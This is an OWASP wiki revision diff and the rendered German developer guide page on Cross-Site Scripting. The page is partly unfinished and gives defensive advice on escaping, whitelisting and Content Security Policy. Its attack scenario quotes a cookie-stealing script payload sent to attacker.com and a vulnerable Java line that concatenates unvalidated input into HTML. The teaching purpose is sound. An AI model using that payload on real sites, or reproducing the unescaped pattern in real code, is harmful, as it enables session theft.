Difference between revisions of "Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)"

From OWASP
Jump to: navigation, search
(Changed: Use New Varaibles of 'Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate')
(17 intermediate revisions by 3 users not shown)
Line 1: Line 1:
{{Top_10_2010_Developer_Edition_De:TopTemplate|useprev=PrevLink_Germany_Projekte|usenext=NextLink_Germany_Projekte|next=Top_10_fuer_Entwickler/A3_Fehler_in_Authentifizierung_und_Session-Management|prev=Top_10_fuer_Entwickler/A1_Injection}}
+
{{Top_10_2010_Developer_Edition_De:TopTemplate
==Testseite in Bearbeitung (BAUSTELLE!!)==
+
    |useprev=PrevLink_Germany_Projekte
====die Überschriften kommen z.T noch von den Templates der englischen Top 10, Tbd!!====
+
    |usenext=NextLink_Germany_Projekte
----
+
    |prev=Top_10_fuer_Entwickler/A1_{{Top_10_2010_Developer_Edition_De:ByTheNumbers
== A2 Cross-Site Scripting (XSS)==
+
              |1
 +
              |language=de
 +
              |year=2010}}
 +
    |next=Top_10_fuer_Entwickler/A3_{{Top_10_2010_Developer_Edition_De:ByTheNumbers
 +
              |3
 +
              |language=de
 +
              |year=2010}}
 +
}}
  
{{Top_10_2010_Developer_Edition_De:SummaryTableHeaderBeginTemplate}}
+
== Seite in Bearbeitung (BAUSTELLE!!) ==
 +
 
 +
== A2 Cross-Site Scripting (XSS) ==
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SummaryTableHeaderBeginTemplate|year=2010|language=de}}
 
{{Top_10_2010:SummaryTableValue-2-Template|Ausnutzbarkeit|DURCHSCHNITTLICH}}
 
{{Top_10_2010:SummaryTableValue-2-Template|Ausnutzbarkeit|DURCHSCHNITTLICH}}
 
{{Top_10_2010:SummaryTableValue-0-Template|Verbreitung|AUSSERGEWÖHNLICH HÄUFIG}}
 
{{Top_10_2010:SummaryTableValue-0-Template|Verbreitung|AUSSERGEWÖHNLICH HÄUFIG}}
 
{{Top_10_2010:SummaryTableValue-1-Template|Auffindbarkeit|EINFACH}}
 
{{Top_10_2010:SummaryTableValue-1-Template|Auffindbarkeit|EINFACH}}
{{Top_10_2010:SummaryTableValue-2-Template|Auiswirkung|MITTEL}}
+
{{Top_10_2010:SummaryTableValue-2-Template|Auswirkung|MITTEL}}
 
{{Top_10_2010:SummaryTableHeaderEndTemplate}}
 
{{Top_10_2010:SummaryTableHeaderEndTemplate}}
 
     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren.</td>
 
     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren.</td>
     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Der Angreifer sen-det textbasierte Angriffsskripte, die Eigenschaften des Browsers aus-nutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken.</td>
+
     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken.</td>
 
     <td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen.</td>
 
     <td colspan=2  {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen.</td>
     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche In-halte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc.</td>
+
     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc.</td>
     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Berücksichtigen Sie den geschäftlichen Nutzen des betrof-fenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.</td>
+
     <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.</td>
 
+
 
{{Top_10_2010:SummaryTableEndTemplate}}
 
{{Top_10_2010:SummaryTableEndTemplate}}
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=1|risk=2}}   
+
{{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=firstLeft|risk=2|year=2010|language=de}}   
 
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren:
 
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren:
{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";</span>{{Top_10_2010:ExampleEndTemplate}} <!--- ''' ... ''' zum Hervorheben des ungeprüften Pareameters eingefügt -->
+
{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">(String) page += "<input name='creditcard' type='TEXT' value='" '''+ request.getParameter("CC")''' + "'>";</span>{{Top_10_2010:ExampleEndTemplate}} <!--- ''' ... ''' zum Hervorheben des ungeprüften Pareameters eingefügt -->
Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf:
+
Der Angreifer ändert den Parameter <span style="color:red;">'''‘CC’'''</span> in seinem Browser auf:
{{Top_10_2010:ExampleBeginTemplate}} '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'{{Top_10_2010:ExampleEndTemplate}}. <!--- ''' ... ''' --->
+
{{Top_10_2010:ExampleBeginTemplate}} <span style="color:red;">'''<nowiki>'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'</nowiki>'''</span>{{Top_10_2010:ExampleEndTemplate}}. <!--- ''' ... ''' --->
 
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere [[Top_10_2010-A5 | Informationen zu CSRF]].
 
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere [[Top_10_2010-A5 | Informationen zu CSRF]].
 
Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:
 
Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:
# '''Reflektiert bzw. nicht persistent:''' DIe Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt.
+
# '''Reflektiert bzw. nicht persistent:''' Die Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt. Bsp.: Benutzerforen, Gästebuch,...
# '''beständig bzw. persistent''': schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert.
+
# '''beständig bzw. persistent''': schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert. Bsp.: Suchergebnisse, Fehlermeldungen oder andere Antworten des Webservers, die Teile der Eingabe enthalten.
 
# '''DOM-basiert oder lokal''': Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt.
 
# '''DOM-basiert oder lokal''': Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt.
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=2|risk=2}}  
+
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=2|year=2010|language=de}}  
 
'''Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.'''
 
'''Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.'''
# Vorzugsweise sollten nicht vertrauenswürdige Meta-zeichen für den Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Entwickler müssen dies in ihren Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist. Das [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] enthält weitere Informationen zu Escaping-Techniken.'''
+
# Vorzugsweise sollten nicht vertrauenswürdige Metazeichen für den Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Entwickler müssen dies in ihren Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist. Das [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] enthält weitere Informationen zu Escaping-Techniken.'''
# Eingabeüberprüfungen durch Positivlisten (“White-listing") mit einer angemessenen Kanonisierung und De-kodierung wird empfohlen. Dieses Vorgehen bietet jedoch '''<u>keinen umfassenden Schutz</u>''', da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben dekodieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird.
+
# Eingabeüberprüfungen durch Positivlisten (“White-listing") mit einer angemessenen Kanonisierung und Dekodierung wird empfohlen. Dieses Vorgehen bietet jedoch '''<u>keinen umfassenden Schutz</u>''', da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben dekodieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird.
 
# Ziehen Sie auch Mozillas [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Content Security Policy] als Schutz gegen XSS in Betracht.
 
# Ziehen Sie auch Mozillas [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Content Security Policy] als Schutz gegen XSS in Betracht.
</td> </tr>
+
{{Top_10:SubsectionTableEndTemplate}}
<tr><td>
+
==JAVA== 
+
<!-- z.Z ohne Template --->
+
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=3|risk=2}}
+
= '''JAVA''' = 
 +
<!--- Lasche fuer Java --->
 +
{{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=2|year=2010|language=de}}
 
====XSS====
 
====XSS====
 
{{Top_10_2010:ExampleBeginTemplate}}
 
{{Top_10_2010:ExampleBeginTemplate}}
Line 46: Line 55:
 
{{Top_10_2010:ExampleEndTemplate}}
 
{{Top_10_2010:ExampleEndTemplate}}
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=4|risk=2}}
+
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=2|year=2010|language=de}}
====XSS====
+
====Content Security Policy (CSP)====
 +
<b>Voraussetzung:</b> Javascript Code wird in .js externe Dateien ausgelagert, d.h. inline script tags u. ä. sollten nicht genutzt werden.
 +
 
 +
Setzen des Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort:
 +
 
 +
{{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );
 +
</span>{{Top_10_2010:ExampleEndTemplate}}
 +
 
 +
Moderne Browser erkennen an diesem Header welchen Quellen die Webseite vertraut. Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen.
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=whole|title=3|risk=2|year=2010|language=de}}
 +
====Reflektiertes und Persistentes XSS====
 +
<b>Canonicalize Input</b>
 +
Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: <b>Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7</b>. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen.
 +
 
 +
<b>Validate Input Using a Whitelist</b>
 +
Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
 +
* Validierung gegen Positiv-Listen z.B. <b>[^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]]</b> für das Format der Email-Adresse. Weitere Beispiele befinden sich im [[OWASP_Validation_Regex_Repository | OWASP Validation Regex Repository]].
 +
 
 +
 
 +
<b>Contextual Output Encoding/Escaping:</b>
 +
Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.
 +
 
 +
* Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems:
 +
{{Top_10_2010:ExampleBeginTemplate}}
 +
String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) );
 +
{{Top_10_2010:ExampleEndTemplate}}
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=userImpact|position=left|risk=2|year=2010|language=de}}
 +
====DOM-basiertes oder lokales XSS====
 +
(ganze Breite)
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=2|year=2010|language=de}}
 +
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}}
 +
* [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]]
 +
* [[Cross-site_Scripting_(XSS) | OWASP Cross-Site Scripting Article]]
 +
* [http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html ESAPI Encoder API]
 +
* [http://www.owasp.org/index.php/ASVS#tab=Downloads ASVS: Output Encoding/Escaping Requirements (V6)]
 +
* [http://www.owasp.org/index.php/ASVS#tab=Downloads ASVS: Input Validation Requirements (V5)]
 +
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]]
 +
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]]
 +
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=de}}
 +
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting]
 +
* [http://ha.ckers.org/xss.html RSnake's XSS Attack Cheat Sheet]
 +
* [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Firefox 4’s Anti-XSS Content Security Policy Mechanism]
 +
{{Top_10:SubsectionTableEndTemplate}}
 +
 
 +
= '''JAVA-Test''' = 
 +
<!-- weitere Programmiersprachen oder evtl Anti-Beispiele --->
 +
{{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=2|year=2010|language=de}}
 
{{Top_10_2010:ExampleBeginTemplate}}
 
{{Top_10_2010:ExampleBeginTemplate}}
 
tbd
 
tbd
 +
Text
 
{{Top_10_2010:ExampleEndTemplate}}
 
{{Top_10_2010:ExampleEndTemplate}}
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=6|risk=2}}
+
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=2|year=2010|language=de}}
====Reflektiertes und Persistentes XSS====
+
{{Top_10_2010:ExampleBeginTemplate}}
 +
tbd
 +
Text
 +
{{Top_10_2010:ExampleEndTemplate}}
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=whole|title=3|risk=2|year=2010|language=de}}
 +
tbd
 +
Text
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=userImpact|position=left|risk=2|year=2010|language=de}}
 
(ganze Breite)
 
(ganze Breite)
 +
Text
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=7|risk=2}}
+
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=2|year=2010|language=de}}
====DOM-basiertes oder lokales XSS====
+
 
 +
{{Top_10:SubsectionTableEndTemplate}}
 +
 
 +
= '''Test''' =
 +
<!-- weitere Programmiersprachen oder evtl Anti-Beispiele --->
 +
{{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=2|year=2010|language=de}}
 +
{{Top_10_2010:ExampleBeginTemplate}}
 +
tbd
 +
Text
 +
{{Top_10_2010:ExampleEndTemplate}}
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=2|year=2010|language=de}}
 +
{{Top_10_2010:ExampleBeginTemplate}}
 +
tbd
 +
Text
 +
{{Top_10_2010:ExampleEndTemplate}}
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=whole|title=3|risk=2|year=2010|language=de}}
 +
tbd
 +
Text
 +
 
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=userImpact|position=left|risk=2|year=2010|language=de}}
 
(ganze Breite)
 
(ganze Breite)
 +
Text
 +
 +
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=2|year=2010|language=de}}
 +
 +
{{Top_10:SubsectionTableEndTemplate}}
 +
<headertabs />
  
{{Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|number=9|risk=2}}
+
{{Top_10_2010_Developer_Edition_De:BottomAdvancedTemplate
 +
    |type=0
 +
    |useprev=PrevLink_Germany_Projekte
 +
    |usenext=NextLink_Germany_Projekte
 +
    |prev=Top_10_fuer_Entwickler/A1_{{Top_10_2010_Developer_Edition_De:ByTheNumbers
 +
              |1
 +
              |language=de
 +
              |year=2010}}
 +
    |next=Top_10_fuer_Entwickler/A3_{{Top_10_2010_Developer_Edition_De:ByTheNumbers
 +
              |3
 +
              |language=de
 +
              |year=2010}}
 +
}}
  
{{Top_10_2010_Developer_Edition_De:BottomAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|usenext=NextLink_Germany_Projekte|next=Top_10_fuer_Entwickler/A3_Fehler_in_Authentifizierung_und_Session-Management|useprev=PrevLink_Germany_Projekte||prev=Top_10_fuer_Entwickler/A1_Injection}}
+
[[Category:OWASP Top 10 fuer Entwickler]]

Revision as of 16:26, 6 April 2013

← Top_10_fuer_Entwickler/A1_Injection
Top 10 fuer Entwickler-2013: Inhaltsverzeichnis

Die Top-10-Risiken

Top_10_fuer_Entwickler/A3_Fehler in Authentisierung und Session-Management →

Seite in Bearbeitung (BAUSTELLE!!)

A2 Cross-Site Scripting (XSS)

Bedrohungsquelle
Angriffsvektor
Schwachstellen
Technische Auswirkung
Auswirkung auf das Unternehmen
______ Ausnutzbarkeit
DURCHSCHNITTLICH
Verbreitung
AUSSERGEWÖHNLICH HÄUFIG
Auffindbarkeit
EINFACH
Auswirkung
MITTEL
Application / Business Specific
Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren. Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken. XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen. Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc. Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.
Mögliche Angriffsszenarien

Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'
.

Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere Informationen zu CSRF. Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:

  1. Reflektiert bzw. nicht persistent: Die Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt. Bsp.: Benutzerforen, Gästebuch,...
  2. beständig bzw. persistent: schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert. Bsp.: Suchergebnisse, Fehlermeldungen oder andere Antworten des Webservers, die Teile der Eingabe enthalten.
  3. DOM-basiert oder lokal: Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt.
Wie kann ich 'Cross-Site Scripting (XSS)' verhindern?

Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.

  1. Vorzugsweise sollten nicht vertrauenswürdige Metazeichen für den Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Entwickler müssen dies in ihren Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist. Das OWASP XSS Prevention Cheat Sheet enthält weitere Informationen zu Escaping-Techniken.
  2. Eingabeüberprüfungen durch Positivlisten (“White-listing") mit einer angemessenen Kanonisierung und Dekodierung wird empfohlen. Dieses Vorgehen bietet jedoch keinen umfassenden Schutz, da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben dekodieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird.
  3. Ziehen Sie auch Mozillas Content Security Policy als Schutz gegen XSS in Betracht.
[edit]

Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':

XSS

tbd

Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':

Content Security Policy (CSP)

Voraussetzung: Javascript Code wird in .js externe Dateien ausgelagert, d.h. inline script tags u. ä. sollten nicht genutzt werden.

Setzen des Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort:

response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );

Moderne Browser erkennen an diesem Header welchen Quellen die Webseite vertraut. Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen.

Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':

Reflektiertes und Persistentes XSS

Canonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen.

Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.

  • Validierung gegen Positiv-Listen z.B. [^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]] für das Format der Email-Adresse. Weitere Beispiele befinden sich im OWASP Validation Regex Repository.


Contextual Output Encoding/Escaping: Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.

  • Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems:

String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) );

Auswirkung(en) auf den Benutzer

DOM-basiertes oder lokales XSS

(ganze Breite)

Referenzen

OWASP

Andere

Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Auswirkung(en) auf den Benutzer

(ganze Breite) Text

Referenzen

Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Auswirkung(en) auf den Benutzer

(ganze Breite) Text

Referenzen


← Top_10_fuer_Entwickler/A1_Injection
Top 10 fuer Entwickler-2013: Inhaltsverzeichnis

Die Top-10-Risiken

Top_10_fuer_Entwickler/A3_Fehler in Authentisierung und Session-Management →

© 2002-2013 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. Some rights reserved. CC-by-sa-3 0-88x31.png